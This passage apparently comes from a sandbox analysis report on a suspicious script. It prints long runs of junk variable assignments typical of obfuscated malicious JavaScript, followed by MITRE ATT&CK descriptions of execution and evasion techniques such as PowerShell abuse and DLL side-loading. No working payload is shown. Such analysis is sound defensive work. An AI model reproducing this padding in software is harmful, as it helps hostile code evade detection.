283	bqcnwi = "c";
284	bqcnwi = "T";
285	bqcnwi = "J";
286	bqcnwi = "w";
287	bqcnwi = "e";
288	bqcnwi = "i";
289	bqcnwi = "z";
290	bqcnwi = "m";
291	bqcnwi = "q";
292	bqcnwi = "c";
293	bqcnwi = "P";
294	bqcnwi = "R";
295	bqcnwi = "X";
296	bqcnwi = "I";
297	bqcnwi = "Y";
298	bqcnwi = "w";
299	bqcnwi = "u";
300	bqcnwi = "Y";
301	bqcnwi = "g";
302	bqcnwi = "C";
303	bqcnwi = "J";
304	bqcnwi = "H";
305	bqcnwi = "U";
306	bqcnwi = "f";
307	bqcnwi = "j";
308	bqcnwi = "G";
309	bqcnwi = "O";
310	bqcnwi = "Q";
311	bqcnwi = "i";
312	bqcnwi = "j";
313	bqcnwi = "v";
314	bqcnwi = "x";
315	bqcnwi = "V";
316	bqcnwi = "m";
317	seayyttb = "i";
318	seayyttb = "Q";
319	seayyttb = "f";
320	seayyttb = "c";
321	seayyttb = "m";
322	seayyttb = "p";
323	seayyttb = "k";
324	seayyttb = "d";
325	seayyttb = "N";
326	seayyttb = "y";
327	seayyttb = "e";
328	seayyttb = "V";
329	seayyttb = "P";
330	seayyttb = "c";
331	seayyttb = "j";
332	seayyttb = "w";
333	seayyttb = "O";
334	seayyttb = "t";
335	seayyttb = "k";
336	seayyttb = "n";
337	seayyttb = "k";
338	seayyttb = "w";
339	seayyttb = "o";
340	seayyttb = "j";
341	seayyttb = "f";
342	seayyttb = "S";
343	hfxii = "e";
344	hfxii = "l";
345	hfxii = "W";
346	hfxii = "Y";
347	hfxii = "A";
348	hfxii = "b";
349	hfxii = "T";
350	hfxii = "I";
351	hfxii = "m";
352	hfxii = "Y";
353	hfxii = "n";
354	hfxii = "d";
355	hfxii = "u";
356	hfxii = "g";
357	hfxii = "F";
358	hfxii = "U";
359	hfxii = "O";
360	hfxii = "Q";
361	hfxii = "B";
362	hfxii = "n";
363	hfxii = "v";
364	hfxii = "h";
365	hfxii = "y";
366	hfxii = "G";
367	hfxii = "T";
368	hfxii = "p";
369	hfxii = "l";
370	hfxii = "s";
371	hfxii = "G";
372	hfxii = "c";
373	hfxii = "t";
374	hfxii = "O";
375	hfxii = "_";
376	ttlcfbg = "x";
377	ttlcfbg = "W";
378	ttlcfbg = "X";
379	ttlcfbg = "P";
380	ttlcfbg = "j";
381	ttlcfbg = "o";
382	ttlcfbg = "T";
383	ttlcfbg = "t";
384	ttlcfbg = "m";
385	ttlcfbg = "C";
386	ttlcfbg = "I";
387	ttlcfbg = "H";
388	ttlcfbg = "w";
389	ttlcfbg = "m";
390	ttlcfbg = "Y";
391	ttlcfbg = "z";
392	ttlcfbg = "2";
393	ccfob = "l";
394	ccfob = "F";
395	ccfob = "D";
396	ccfob = "e";
397	ccfob = "r";
398	ccfob = "F";
399	ccfob = "n";
400	ccfob = "b";
401	ccfob = "T";
402	ccfob = "z";
403	ccfob = "t";
404	ccfob = "w";
405	ccfob = "c";
406	ccfob = "j";
407	ccfob = "g";
408	ccfob = "L";
409	ccfob = "d";
410	ccfob = "t";
411	sshnwvb = "X";
412	sshnwvb = "V";
413	sshnwvb = "9";
414	bvydbz = "f";
415	bvydbz = "f";
416	bvydbz = "e";
417	bvydbz = "R";
418	bvydbz = "b";
419	bvydbz = "n";
420	bvydbz = "K";
421	bvydbz = "v";
422	bvydbz = "Y";
423	bvydbz = "E";
424	bvydbz = "U";
425	tjfdrqfy = "L";
426	tjfdrqfy = "z";
427	tjfdrqfy = "I";
428	tjfdrqfy = "a";
429	tjfdrqfy = "J";
430	tjfdrqfy = "d";
431	tjfdrqfy = "X";
432	tjfdrqfy = "D";
433	tjfdrqfy = "t";
434	tjfdrqfy = "C";
435	tjfdrqfy = "M";
436	tjfdrqfy = "w";
437	tjfdrqfy = "q";
438	tjfdrqfy = "O";
439	tjfdrqfy = "j";
440	tjfdrqfy = "O";
441	tjfdrqfy = "K";
442	tjfdrqfy = "T";
443	tjfdrqfy = "X";
444	tjfdrqfy = "B";
445	tjfdrqfy = "O";
446	tjfdrqfy = "o";
447	tjfdrqfy = "g";
448	tjfdrqfy = "X";
449	tjfdrqfy = "O";
450	tjfdrqfy = "e";
451	tjfdrqfy = "g";
452	tjfdrqfy = "a";
453	tjfdrqfy = "u";
454	tjfdrqfy = "r";
455	tjfdrqfy = "y";
456	tjfdrqfy = "m";
457	tjfdrqfy = "%";
458	mshlfcps = "L";
459	mshlfcps = "z";
460	mshlfcps = "H";
461	mshlfcps = "G";
462	mshlfcps = "n";
463	mshlfcps = "F";
464	mshlfcps = "g";
465	mshlfcps = "m";
466	mshlfcps = "X";
467	mshlfcps = "x";
468	mshlfcps = "V";
469	mshlfcps = "X";
470	mshlfcps = "f";
471	mshlfcps = "u";
472	mshlfcps = "i";
473	dvcof = "k";
474	dvcof = "X";
475	dvcof = "w";
476	dvcof = "i";
477	dvcof = "z";
478	dvcof = "d";
479	dvcof = "G";
480	dvcof = "e";
481	dvcof = "o";
482	dvcof = "q";
483	dvcof = "x";
484	dvcof = "l";
485	dvcof = "O";
486	dvcof = "h";
487	dvcof = "Q";
488	dvcof = "f";
489	dvcof = "I";
490	dvcof = "i";
491	dvcof = "I";
492	dvcof = "p";
493	dvcof = "w";
494	dvcof = "d";
495	dvcof = "d";
496	dvcof = "z";
497	dvcof = "R";
498	dvcof = "V";
499	dvcof = "i";
500	dvcof = "M";
501	dvcof = "q";
502	dvcof = "o";
503	dvcof = "J";
504	dvcof = "G";
505	dvcof = "p";
506	dvcof = "S";
507	dvcof = "A";
508	dvcof = "O";
509	xdszbm = "x";
510	xdszbm = "O";
511	xdszbm = "M";
512	xdszbm = "E";
513	xdszbm = "e";
514	xdszbm = "c";
515	xdszbm = "j";
516	xdszbm = "e";
517	xdszbm = "M";
518	xdszbm = "H";
519	xdszbm = "w";
520	xdszbm = "x";
521	xdszbm = "M";
522	xdszbm = "m";
523	xdszbm = "W";
524	xdszbm = "Z";
525	xdszbm = "m";
526	xdszbm = "N";
527	xdszbm = "s";
528	xdszbm = "y";
529	xdszbm = "j";
530	xdszbm = "J";
531	xdszbm = "E";
532	xdszbm = "f";
533	xdszbm = "v";
534	xdszbm = "K";
535	xdszbm = "y";
536	xdszbm = "n";
537	xdszbm = "Q";
538	xdszbm = "S";
539	xdszbm = "J";
540	xdszbm = "F";
541	xdszbm = "l";
542	xdszbm = "g";
543	xdszbm = "I";
544	xdszbm = "p";
545	xdszbm = "q";
546	xdszbm = "A";
547	xdszbm = "U";
548	xdszbm = "&";
549	fcpyvjc = "i";
550	fcpyvjc = "M";
551	fcpyvjc = "y";
552	fcpyvjc = "e";
553	fcpyvjc = "n";
554	fcpyvjc = "K";
555	fcpyvjc = "g";
556	fcpyvjc = "f";
557	fcpyvjc = "s";
558	fcpyvjc = "c";
559	fcpyvjc = "X";
560	fcpyvjc = "N";
561	fcpyvjc = "R";
562	fcpyvjc = "P";
563	fcpyvjc = "l";
564	fcpyvjc = "f";
565	fcpyvjc = "M";
566	fcpyvjc = "m";
567	fcpyvjc = "y";
568	fcpyvjc = "B";
569	fcpyvjc = "e";
570	fcpyvjc = "g";
571	fcpyvjc = "v";
572	fcpyvjc = "a";
573	fcpyvjc = "P";
574	fcpyvjc = "r";
575	fcpyvjc = "r";
576	fcpyvjc = "b";
577	fcpyvjc = "E";
578	fcpyvjc = "m";
579	fcpyvjc = "u";
580	fcpyvjc = "q";
581	fcpyvjc = "B";
582	fcpyvjc = "t";
583	fcpyvjc = "W";
584	fcpyvjc = "q";
585	fcpyvjc = "y";
586	fcpyvjc = "f";
587	zxxivp = "U";
588	zxxivp = "j";
589	zxxivp = "X";
590	zxxivp = "o";
591	zxxivp = "k";
592	zxxivp = "r";
593	zxxivp = "Z";
594	zxxivp = "o";
595	zxxivp = "E";
596	zxxivp = "h";
597	zxxivp = "M";
598	zxxivp = "s";
599	zxxivp = "T";
600	zxxivp = "R";
601	zxxivp = "M";
602	zxxivp = "n";
603	zxxivp = "g";
604	zxxivp = "P";
605	zxxivp = "A";
606	zxxivp = "O";
607	zxxivp = "D";
608	zxxivp = "t";
609	zxxivp = "E";
610	zxxivp = "k";
611	zxxivp = "B";
612	zxxivp = "E";
613	zxxivp = "y";
614	zxxivp = "D";
615	zxxivp = "S";
616	zxxivp = "W";
617	zxxivp = "M";
618	zxxivp = "J";
619	zxxivp = "H";
620	zxxivp = "m";
621	zxxivp = "Q";
622	zxxivp = "v";
623	zxxivp = "A";
624	zxxivp = "p";
625	krvpazlep = "r";
626	krvpazlep = "V";
627	krvpazlep = "S";
628	krvpazlep = "Y";
629	krvpazlep = "F";
630	krvpazlep = "d";
631	krvpazlep = "d";
632	krvpazlep = "i";
633	krvpazlep = "R";
634	krvpazlep = "z";
635	krvpazlep = "C";
636	krvpazlep = "l";
637	krvpazlep = "y";
638	krvpazlep = "H";
639	krvpazlep = "e";
640	krvpazlep = "e";
641	krvpazlep = "g";
642	krvpazlep = "x";
643	krvpazlep = "B";
644	krvpazlep = "j";
645	krvpazlep = "B";
646	krvpazlep = "l";
647	krvpazlep = "f";
648	krvpazlep = "V";
649	krvpazlep = "V";
650	krvpazlep = "Z";
651	krvpazlep = "c";
652	krvpazlep = "o";
653	krvpazlep = "V";
654	krvpazlep = "H";
655	krvpazlep = "v";
656	krvpazlep = "j";
657	krvpazlep = "o";
658	krvpazlep = "v";
659	krvpazlep = "r";
660	krvpazlep = "v";
661	krvpazlep = "v";
662	krvpazlep = "Z";
663	krvpazlep = "P";
664	pbjfwb = "L";
665	pbjfwb = "a";
666	pbjfwb = "u";
667	pbjfwb = "o";
668	pbjfwb = "v";
669	pbjfwb = "R";
670	pbjfwb = "c";
671	pbjfwb = "G";
672	pbjfwb = "S";
673	pbjfwb = "y";
674	pbjfwb = "o";
675	pbjfwb = "b";
676	pbjfwb = "G";
677	pbjfwb = "T";
678	pbjfwb = "n";
679	pbjfwb = "S";
680	pbjfwb = "o";
681	pbjfwb = "i";
682	pbjfwb = "r";
683	pbjfwb = "b";
684	pbjfwb = "D";
685	pbjfwb = "K";
686	pbjfwb = "U";
687	pbjfwb = "b";
688	pbjfwb = "L";
689	pbjfwb = "D";
690	pbjfwb = "d";
691	pbjfwb = "L";
692	pbjfwb = "N";
693	pbjfwb = "h";
694	pbjfwb = "W";
695	pbjfwb = "q";
696	pbjfwb = "b";
697	pbjfwb = "l";
698	pbjfwb = "o";
699	pbjfwb = "w";
700	pbjfwb = "L";
701	pbjfwb = "e";
702	pbjfwb = "e";
703	pbjfwb = "b";
704	pbjfwb = "C";
705	torrzpgdf = "w";
706	torrzpgdf = "S";
707	torrzpgdf = "V";
708	torrzpgdf = "l";
709	torrzpgdf = "H";
710	torrzpgdf = "D";
711	torrzpgdf = "S";
712	torrzpgdf = "D";
713	torrzpgdf = "p";
714	torrzpgdf = "Y";
715	torrzpgdf = "E";
716	torrzpgdf = "A";
717	torrzpgdf = "F";
718	torrzpgdf = "o";
719	torrzpgdf = "X";
720	torrzpgdf = "Q";
721	torrzpgdf = "D";
722	torrzpgdf = "g";
723	torrzpgdf = "g";
724	torrzpgdf = "J";
725	torrzpgdf = "O";
726	torrzpgdf = "R";
727	torrzpgdf = "q";
728	torrzpgdf = "c";
729	ouniqnfdy = "c";
730	ouniqnfdy = "f";
731	ouniqnfdy = "E";
732	ouniqnfdy = "i";
733	ouniqnfdy = "F";
734	ouniqnfdy = "1";
735	mljohkq = "l";
736	mljohkq = "C";
737	mljohkq = "p";
738	mljohkq = "z";
739	mljohkq = "l";
740	mljohkq = "u";
741	mljohkq = "v";
742	mljohkq = "Z";
743	mljohkq = "F";
744	guvgfyri = "u";
745	guvgfyri = "Q";
746	guvgfyri = "Y";
747	guvgfyri = "h";
748	guvgfyri = "o";
749	guvgfyri = "U";
750	guvgfyri = "I";
751	guvgfyri = "p";
752	guvgfyri = "h";
753	ahwbkc = "B";
754	ahwbkc = "x";
755	ahwbkc = "Q";
756	ahwbkc = "v";
757	ahwbkc = "M";
758	ahwbkc = "N";
759	ahwbkc = "D";
760	ahwbkc = "N";
761	ahwbkc = "l";
762	ahwbkc = "d";
763	ahwbkc = "q";
764	ahwbkc = "K";
765	ahwbkc = "g";
766	ahwbkc = "W";
767	ahwbkc = "q";
768	ahwbkc = "P";
769	ahwbkc = "Q";
770	ahwbkc = "R";
771	ahwbkc = "Q";
772	ahwbkc = "y";
773	ahwbkc = "-";
774	mwyqvn = "K";
775	mwyqvn = "g";
776	mwyqvn = "B";
777	mwyqvn = "W";
778	mwyqvn = "X";
779	mwyqvn = "i";
780	mwyqvn = "l";
781	mwyqvn = "P";
782	mwyqvn = "q";
783	mwyqvn = "X";
784	mwyqvn = "x";
785	mwyqvn = "n";
786	mwyqvn = "B";
787	mwyqvn = "c";
788	mwyqvn = "h";
789	mwyqvn = "d";
790	mwyqvn = "b";
791	mwyqvn = "q";
792	mwyqvn = "E";
793	mwyqvn = "z";
794	mwyqvn = "r";
795	mwyqvn = "u";
796	mwyqvn = "4";
797	jtcits = "U";
798	jtcits = "n";
799	jtcits = "a";
800	jtcits = "t";
801	jtcits = "U";
802	jtcits = "S";
803	jtcits = "r";
804	jtcits = "x";
805	jtcits = "A";
806	jtcits = "z";
807	jtcits = "B";
808	jtcits = "P";
809	jtcits = "d";
810	jtcits = "q";
811	jtcits = "v";
812	jtcits = "z";
813	jtcits = "S";
814	jtcits = "u";
815	jtcits = "u";
816	jtcits = "k";
817	jtcits = "I";
818	jtcits = "r";
819	jtcits = "v";
820	jtcits = "C";
821	jtcits = "f";
822	jtcits = "c";
823	jtcits = "y";
824	jtcits = "Q";
825	vjmfinub = "e";
826	vjmfinub = "l";
827	vjmfinub = "c";
828	vjmfinub = "X";
829	vjmfinub = "X";
830	vjmfinub = "h";
831	vjmfinub = "f";
832	vjmfinub = "l";
833	vjmfinub = "c";
834	vjmfinub = "m";
835	vjmfinub = "v";
836	vjmfinub = "j";
837	vjmfinub = "X";
838	vjmfinub = "k";
839	vjmfinub = "M";
840	vjmfinub = "K";
841	vjmfinub = "O";
842	vjmfinub = "z";
843	vjmfinub = "Y";
844	vjmfinub = "K";
845	vjmfinub = "w";
846	vjmfinub = "m";
847	vjmfinub = "W";
848	vjmfinub = "v";
849	vjmfinub = "B";
850	vjmfinub = "G";
851	vjmfinub = "x";
852	vjmfinub = "S";
853	vjmfinub = "y";
854	vjmfinub = "F";
855	vjmfinub = "A";
856	vjmfinub = "R";
857	vjmfinub = "C";
858	vjmfinub = "A";
859	vjmfinub = "O";
860	vjmfinub = "o";
861	vjmfinub = "A";
862	vjmfinub = "V";
863	vjmfinub = "n";
864	vjmfinub = "z";
865	vjmfinub = "P";
866	vjmfinub = "\"";
867	jylva = "j";
868	jylva = "N";
869	jylva = "V";
870	jylva = "p";
871	jylva = "/";
872	iwkdxss = "Q";
873	iwkdxss = "C";
874	iwkdxss = "e";
875	icdtg = ".";
876	ckulw = "N";
877	ckulw = "d";
878	ckulw = "X";
879	ckulw = "Q";
880	ckulw = "P";
881	ckulw = "U";
882	ckulw = "d";
883	ckulw = "k";
884	ckulw = "o";
885	ckulw = "e";
886	ckulw = "j";
887	ckulw = "G";
888	ckulw = "D";
889	ckulw = "s";
890	ckulw = "U";
891	ckulw = "T";
892	ckulw = "s";
893	ckulw = "M";
894	ckulw = "C";
895	ckulw = "Y";
896	wgqddfsri = "y";
897	wgqddfsri = "d";
898	wgqddfsri = "U";
899	wgqddfsri = "m";
900	wgqddfsri = "q";
901	wgqddfsri = "p";
902	wgqddfsri = "T";
903	wgqddfsri = "e";
904	wgqddfsri = "c";
905	wgqddfsri = "F";
906	wgqddfsri = "P";
907	wgqddfsri = "o";
908	wgqddfsri = "E";
909	wgqddfsri = "C";
910	wgqddfsri = "h";
911	wgqddfsri = "v";
912	wgqddfsri = "A";
913	wgqddfsri = "g";
914	wgqddfsri = "L";
915	zpxcmxqe = "U";
916	zpxcmxqe = "P";
917	zpxcmxqe = "H";
918	zpxcmxqe = "t";
919	zpxcmxqe = "J";
920	zpxcmxqe = "D";
921	zpxcmxqe = "j";
922	zpxcmxqe = "D";
923	zpxcmxqe = "x";
924	zpxcmxqe = "O";
925	zpxcmxqe = "e";
926	zpxcmxqe = "z";
927	zpxcmxqe = "m";
928	zpxcmxqe = "S";
929	zpxcmxqe = "d";
930	zpxcmxqe = "S";
931	zpxcmxqe = "t";
932	zpxcmxqe = "N";
933	zpxcmxqe = "B";
934	zpxcmxqe = "f";
935	zpxcmxqe = "q";
936	xekspglfs = "E";
937	xekspglfs = "O";
938	xekspglfs = "B";
939	xekspglfs = "w";
940	xekspglfs = "s";
941	xekspglfs = "p";
942	xekspglfs = "j";
943	xekspglfs = "N";
944	xekspglfs = "B";
945	xekspglfs = "f";
946	xekspglfs = "J";
947	xekspglfs = "y";
948	xekspglfs = "E";
949	xekspglfs = "x";
950	xekspglfs = "Q";
951	xekspglfs = "C";
952	xekspglfs = "g";
953	xekspglfs = "b";
954	xekspglfs = "E";
955	xekspglfs = "Q";
956	xekspglfs = "n";
957	xekspglfs = "C";
958	xekspglfs = "O";
959	xekspglfs = "Q";
960	xekspglfs = "R";
961	xekspglfs = "A";
962	xekspglfs = "t";
963	xekspglfs = "I";
964	xekspglfs = "s";
965	xekspglfs = "s";
966	xekspglfs = "G";
967	xekspglfs = "z";
968	xekspglfs = "q";
969	xekspglfs = "V";
970	xekspglfs = "K";
971	xekspglfs = "N";
972	rvqxm = "S";
973	rvqxm = "c";
974	rvqxm = "b";
975	rvqxm = "J";
976	rvqxm = "H";
977	rvqxm = "s";
978	rvqxm = "G";
979	rvqxm = "X";
980	rvqxm = "I";
981	fvqkd = "h";
982	fvqkd = "p";
983	fvqkd = "v";
984	fvqkd = "G";
985	fvqkd = "o";
986	fvqkd = "x";
987	fvqkd = "g";
988	fvqkd = "x";
989	fvqkd = "N";
990	fvqkd = "t";
991	fvqkd = "h";
992	fvqkd = "Y";
993	fvqkd = "i";
994	fvqkd = "U";
995	fvqkd = "S";
996	fvqkd = "G";
997	fvqkd = "N";
998	fvqkd = "R";
999	fvqkd = "d";
1000	fvqkd = "Q";
1001	fvqkd = "L";
1002	fvqkd = "f";
1003	fvqkd = "e";
1004	fvqkd = "T";
1005	fvqkd = "y";
1006	fvqkd = "B";
1007	fvqkd = "R";
1008	fvqkd = "s";
1009	fvqkd = "b";
1010	fvqkd = "R";
1011	fvqkd = "f";
1012	fvqkd = "J";
1013	fvqkd = "H";
1014	fvqkd = "5";
1015	kfapma = "V";
1016	kfapma = " ";
1017	yxcmfb = "j";
1018	yxcmfb = "c";
1019	yxcmfb = "t";
1020	yxcmfb = "q";
1021	yxcmfb = "B";
1022	yxcmfb = "u";
1023	yxcmfb = "P";
1024	yxcmfb = "w";
1025	yxcmfb = "i";
1026	yxcmfb = "m";
1027	yxcmfb = "Z";
1028	yxcmfb = "m";
1029	yxcmfb = "q";
1030	yxcmfb = "V";
1031	yxcmfb = "n";
1032	yxcmfb = "W";
1033	dvndu = "E";
1034	dvndu = "c";
1035	dvndu = "j";
1036	dvndu = "f";
1037	dvndu = "y";
1038	dvndu = "Z";
1039	dvndu = "d";
1040	dvndu = "O";
1041	dvndu = "I";
1042	dvndu = "6";
1043	qjivqzlg = "B";
1044	qjivqzlg = "P";
1045	qjivqzlg = "Q";
1046	qjivqzlg = "L";
1047	qjivqzlg = "q";
1048	qjivqzlg = "Q";
1049	qjivqzlg = "z";
1050	qjivqzlg = "g";
1051	qjivqzlg = "I";
1052	qjivqzlg = "W";
1053	qjivqzlg = "l";
1054	qjivqzlg = "L";
1055	qjivqzlg = "n";
1056	qjivqzlg = "I";
1057	qjivqzlg = "X";
1058	qjivqzlg = "i";
1059	qjivqzlg = "S";
1060	qjivqzlg = "M";
1061	qjivqzlg = "B";
1062	qjivqzlg = "j";
1063	qjivqzlg = "j";
1064	qjivqzlg = "M";
1065	qjivqzlg = "X";
1066	qjivqzlg = "R";
1067	qjivqzlg = "u";
1068	qjivqzlg = "F";
1069	qjivqzlg = "d";
1070	qjivqzlg = "I";
1071	qjivqzlg = "M";
1072	qjivqzlg = "C";
1073	qjivqzlg = "J";
1074	qjivqzlg = "v";
1075	qjivqzlg = "o";
1076	eeijxxuj = "Y";
1077	eeijxxuj = "S";
1078	eeijxxuj = "H";
1079	eeijxxuj = "I";
1080	eeijxxuj = "h";
1081	eeijxxuj = "W";
1082	eeijxxuj = "H";
1083	eeijxxuj = "f";
1084	eeijxxuj = "w";
1085	eeijxxuj = "d";
1086	eeijxxuj = "C";
1087	eeijxxuj = "a";
1088	eeijxxuj = "s";
1089	eeijxxuj = "u";
1090	eeijxxuj = "h";
1091	eeijxxuj = "N";
1092	eeijxxuj = "N";
1093	eeijxxuj = "s";
1094	eswobps = "D";
1095	eswobps = "U";
1096	eswobps = "N";
1097	eswobps = "W";
1098	eswobps = "k";
1099	eswobps = "U";
1100	eswobps = "q";
1101	eswobps = "V";
1102	eswobps = "F";
1103	eswobps = "J";
1104	eswobps = "j";
1105	eswobps = "j";
1106	toltgg = "D";
1107	toltgg = "T";
1108	toltgg = "V";
1109	toltgg = "M";
1110	toltgg = "W";
1111	toltgg = "p";
1112	toltgg = "i";
1113	toltgg = "Z";
1114	toltgg = "Z";
1115	toltgg = "f";
1116	toltgg = "F";
1117	toltgg = "c";
1118	toltgg = "u";
1119	toltgg = "A";
1120	toltgg = "E";
1121	rjavzjzvi = "x";
1122	rjavzjzvi = "r";
1123	rjavzjzvi = "P";
1124	rjavzjzvi = "s";
1125	rjavzjzvi = "H";
1126	rjavzjzvi = "s";
1127	rjavzjzvi = "z";
1128	rjavzjzvi = "R";
1129	rjavzjzvi = "r";
1130	rjavzjzvi = "g";
1131	rjavzjzvi = "A";
1132	rjavzjzvi = "L";
1133	rjavzjzvi = "n";
1134	rjavzjzvi = "a";
1135	rjavzjzvi = "V";
1136	rjavzjzvi = "R";
1137	rjavzjzvi = "R";
1138	rjavzjzvi = "q";
1139	rjavzjzvi = "g";
1140	rjavzjzvi = "R";
1141	pbeql = "F";
1142	pbeql = "d";
1143	pbeql = "v";
1144	jmrnuf = "t";
1145	jmrnuf = "j";
1146	jmrnuf = "i";
1147	jmrnuf = "A";
1148	jmrnuf = "c";
1149	jmrnuf = "G";
1150	jmrnuf = "l";
1151	jmrnuf = "T";
1152	jmrnuf = "N";
1153	jmrnuf = "q";
1154	jmrnuf = "q";
1155	jmrnuf = "Q";
1156	jmrnuf = "I";
1157	jmrnuf = "L";
1158	jmrnuf = "L";
1159	jmrnuf = "R";
1160	jmrnuf = "h";
1161	jmrnuf = "O";
1162	jmrnuf = "K";
1163	jmrnuf = "D";
1164	jmrnuf = "P";
1165	jmrnuf = "J";
1166	jmrnuf = "L";
1167	jmrnuf = "L";
1168	jmrnuf = "n";
1169	jmrnuf = "I";
1170	jmrnuf = "B";
1171	jmrnuf = "Y";
1172	jmrnuf = "B";
1173	jmrnuf = "a";
1174	jmrnuf = "Q";
1175	jmrnuf = "C";
1176	jmrnuf = "C";
1177	jmrnuf = "v";
1178	jmrnuf = "i";
1179	jmrnuf = "B";
1180	jmrnuf = "t";
1181	jmrnuf = "Z";
1182	jmrnuf = "W";
1183	jmrnuf = "C";
1184	jmrnuf = "l";
1185	jmrnuf = "V";
1186	jmrnuf = "Z";
1187	jmrnuf = "H";
1188	jmrnuf = "3";
1189	qpzci = "Y";
1190	qpzci = "n";
1191	qpzci = "S";
1192	qpzci = "H";
1193	qpzci = "g";
1194	qpzci = "N";
1195	qpzci = "R";
1196	qpzci = "Z";
1197	qpzci = "a";
1198	qpzci = "Y";
1199	qpzci = "y";
1200	qpzci = "q";
1201	qpzci = "I";
1202	qpzci = "u";
1203	qpzci = "y";
1204	qpzci = "C";
1205	qpzci = "b";
1206	qpzci = "s";
1207	qpzci = "k";
1208	qpzci = "o";
1209	qpzci = "v";
1210	qpzci = "o";
1211	qpzci = "N";
1212	qpzci = "z";
1213	qpzci = "P";
1214	qpzci = "Z";
1215	qpzci = "R";
1216	qpzci = "t";
1217	qpzci = "Q";
1218	qpzci = "j";
1219	qpzci = "u";
1220	fontbj = "j";
1221	fontbj = "S";
1222	fontbj = "t";
1223	fontbj = "Q";
1224	fontbj = "m";
1225	fontbj = "C";
1226	fontbj = "S";
1227	fontbj = "I";
1228	fontbj = "U";
1229	fontbj = "R";
1230	fontbj = "y";
1231	fontbj = "o";
1232	fontbj = "d";
1233	fontbj = "y";
1234	fontbj = "n";
1235	fontbj = "W";
1236	fontbj = "s";
1237	fontbj = "p";
1238	fontbj = "O";
1239	fontbj = "t";
1240	fontbj = "t";
1241	fontbj = "R";
1242	fontbj = "H";
1243	fontbj = "x";
1244	fontbj = "b";
1245	fontbj = "z";
1246	fontbj = "a";
1247	fontbj = "m";
1248	fontbj = "Q";
1249	fontbj = "t";
1250	fontbj = "S";
1251	fontbj = "e";
1252	fontbj = "L";
1253	fontbj = "X";
1254	fontbj = "l";
1255	fontbj = "a";
1256	fontbj = "p";
1257	fontbj = "w";
1258	fontbj = "p";
1259	fontbj = ":";
1260	jbgrnzt = "K";
1261	jbgrnzt = "d";
1262	jbgrnzt = "r";
1263	jbgrnzt = "S";
1264	jbgrnzt = "X";
1265	jbgrnzt = "G";
1266	jbgrnzt = "O";
1267	jbgrnzt = "E";
1268	jbgrnzt = "x";
1269	jbgrnzt = "t";
1270	jbgrnzt = "b";
1271	jbgrnzt = "c";
1272	jbgrnzt = "F";
1273	jbgrnzt = "g";
1274	zmfvf = "Q";
1275	zmfvf = "k";
1276	zmfvf = "I";
1277	zmfvf = "B";
1278	zmfvf = "b";
1279	zmfvf = "C";
1280	zmfvf = "P";
1281	zmfvf = "L";
1282	zmfvf = "t";
1283	zmfvf = "u";
1284	zmfvf = "U";
1285	zmfvf = "I";
1286	zmfvf = "M";
1287	zmfvf = "h";
1288	zmfvf = "e";
1289	zmfvf = "c";
1290	zmfvf = "D";
1291	zmfvf = "w";
1292	zmfvf = "f";
1293	zmfvf = "f";
1294	zmfvf = "R";
1295	zmfvf = "0";
1296	bzaxng = "O";
1297	bzaxng = "L";
1298	bzaxng = "F";
1299	bzaxng = "f";
1300	bzaxng = "G";
1301	bzaxng = "T";
1302	bzaxng = "Q";
1303	bzaxng = "M";
1304	bzaxng = "M";
1305	bzaxng = "c";
1306	bzaxng = "O";
1307	bzaxng = "R";
1308	bzaxng = "X";
1309	bzaxng = "C";
1310	bzaxng = "e";
1311	bzaxng = "g";
1312	bzaxng = "T";
1313	bzaxng = "p";
1314	bzaxng = "E";
1315	bzaxng = "M";
1316	bzaxng = "M";
1317	bzaxng = "i";
1318	bzaxng = "v";
1319	bzaxng = "B";
1320	bzaxng = "U";
1321	bzaxng = "Z";
1322	bzaxng = "K";
1323	eofkqpcwq = "Q";
1324	eofkqpcwq = "W";
1325	eofkqpcwq = "D";
1326	eofkqpcwq = "l";
1327	abxiamsjf ( );	abxiamsjf() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

